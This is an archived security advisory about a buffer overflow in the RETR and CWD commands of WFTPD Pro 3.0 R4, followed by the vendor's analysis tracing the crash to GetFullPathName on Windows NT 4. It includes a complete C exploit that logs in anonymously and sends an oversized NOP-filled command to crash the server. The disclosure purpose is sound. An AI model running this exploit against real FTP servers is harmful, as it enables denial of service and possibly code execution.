COMMAND
WFTPD
SYSTEMS AFFECTED
WFTPD "Pro" 3.0 R4
PROBLEM
Len Budney found following. This started as WFTPD issue, but it
end up as kernel issue. I will to summarize the historz here.
Len said following.
The latest version of WFTPD is vulnerable to a buffer overflow in
the RETR and CWD commands. The overflow can be used to completely
disable the FTP server, and can probably be exploited to run
arbitrary code on the server host.
This problem was already reported for version 3.0 R1 on March 3,
2001, and the author claimed that he had "fixed" the overflow.
What he apparently did was make the buffers bigger; now instead
of ~500 characters overflowing the buffer, it takes ~32K instead.
Similar buffer overflows were reported on September 5, 2000 for
version 2.41 RC12, for version 2.40 on October 28, 1999.
An root exploit can probably be adapted from Alberto Solino's
code.
References:
http://oliver.efri.hr/~crv/security/bugs/Others/wftpd14.html
http://oliver.efri.hr/~crv/security/bugs/Others/wftpd12.html
http://oliver.efri.hr/~crv/security/bugs/Others/wftpd3.html
Exploit:
/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
written by Len Budney
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#define BUFSIZE 32774
#define CMD "RETR " /* Alt: use "CWD " and set OFFSET to 4. */
#define OFFSET 5
void main(){
int sockfd, s;
struct sockaddr_in victim;
char buffer[BUFSIZE];
char exploitbuffer[BUFSIZE]={CMD};
char recvbuffer[BUFSIZE];
sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
victim.sin_family=AF_INET;
victim.sin_addr.s_addr=inet_addr("192.168.197.129");
victim.sin_port=htons(21);
s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
if(s == -1) perror("connect");
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
memset(recvbuffer, '\0',sizeof(recvbuffer));
send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
memset(recvbuffer, '\0',sizeof(recvbuffer));
send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
memset(recvbuffer, '\0',sizeof(recvbuffer));
memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
sprintf(buffer,"%s\r\n",exploitbuffer);
send(sockfd, buffer , sizeof(buffer),0);
recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
close(sockfd);
_exit(0);
}
And then....
Further analysis of reports from a customer's report of similar
behaviour as this suggests that the problem discovered by Mr
Budney is not caused by WFTPD Pro, but is an unchecked buffer in
the Windows NT 4.0 API function "GetFullPathName". Windows 2000
is clearly immune - and had Mr Bundey's original post included
details of the OS he was running, we could have found the real
culprit far quicker.
Needless to say, while the bug appears to be in the operating
system itself, it's clear that bracketing the call to
GetFullPathName with code designed to prevent the bug from
appearing is in order. Once we are sure of the full scope of
this bug, we shall be releasing a workaround for it, and
reporting the full details to this list - we can be sure that
other programs call GetFullPathName, and some may do so in ways
that can trigger this bug.
As buffer overflows so often occur in places other than where
they appear, it's likely that until we get down to a small piece
of code that clearly shows the problem, we can't guarantee that
this is the end of our search. It is still possible, of course,
that something else is responsible for memory corruption that
causes this overflow.
In the interests of full disclosure, Alun from Texas Imperial
Software is letting you know what the current state of play is on
this problem.
The following code is pulled from one of WFTPD functions:
void ExpandRelativePath(char *to, const char *from)
{
BOOL found=1;
// Relative path - let's see if GetFullPathName can expand it
LPTSTR lpFilePart;
if (from && !*from)
{
GetFullPathName("x",_MAX_PATH,to,&lpFilePart);
*lpFilePart=0;
}
else
{
// Scan for certain device names in the path, to disallow them.
if (IsDeviceNameInPath(from))
found=0;
else
{
DWORD fullen=GetFullPathName(from,_MAX_PATH,to,&lpFilePart);
// directory does not exist, or is too long - abort.
if (fullen==0 || fullen>_MAX_PATH)
found=0;
}
}
if (!found)
*to=0;
}
It's the second call to GetFullPathName that eventually results
in a GPF, within the bowels of NTDLL.DLL:RtlFreeHeap(). Since
the problem appears to be in freeing the heap, their initial
concern was to see if the heap is valid before calling
GetFullPathName. With this in mind, we add a line
"HeapValidate(GetProcessHeap(),0,0);" before the second call to
GetFullPathName(). Not only does HeapValidate indicate that
indeed the heap is valid, but the mere process of checking the
heap for validity avoids the bug. In fact, merely checking if
"from" is a valid pointer, through a call to the "IsBadReadPtr"
function, is enough to prevent the bug from occurring.
A note is made in the Microsoft Knowledge Base that HeapValidate()
may alter the manner in which heap allocation is carried out, in
the same way as introducing a registry setting
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wftpd.exe\DisableHeapLookAside"
as a string set to the value "1". Applying this registry change,
however, does _not_ avoid the occurrence of this bug, and is not
recommended.
The bug shows up in both release and debug (i.e. no compiler
optimisation) builds of WFTPD and WFTPD Pro, on Windows NT 4, at
least in SP3, SP4, and SP6a. It does _not_ apparently show up in
Windows 2000, nor in Windows 95, 98 or ME. Nor does it show up
if WFTPD or WFTPD Pro are run under the Microsoft Visual C++ 6.0
debugger, where the debug output merely displays "First-chance
exception in Wftpd.exe (NTDLL.DLL): 0xC0000005: Access Violation".
[Note: the "first-chance exception" is where the debugger gets to
handle the exception before the program. The debugger, in this
case, gets to ignore the exception, and pass it on to the program
- which, apparently, is handling it when running under the
debugger, but not handling it when running alone.]
SOLUTION
At this stage, we are mystified as to the cause of this, and as
to the behaviour it is currently exhibiting. Our best guess is
that there is a subtle bug in the memory handling of Windows NT
4.0, that does not exist on other platforms. WFTPD shall shortly
be releasing a version of their software that sidesteps such
behaviour, by disallowing this long parameter at an earlier
stage. However, this is not a fix we feel comfortable with, as
we are unable to determine absolutely that this memory bug will
not occur in other areas.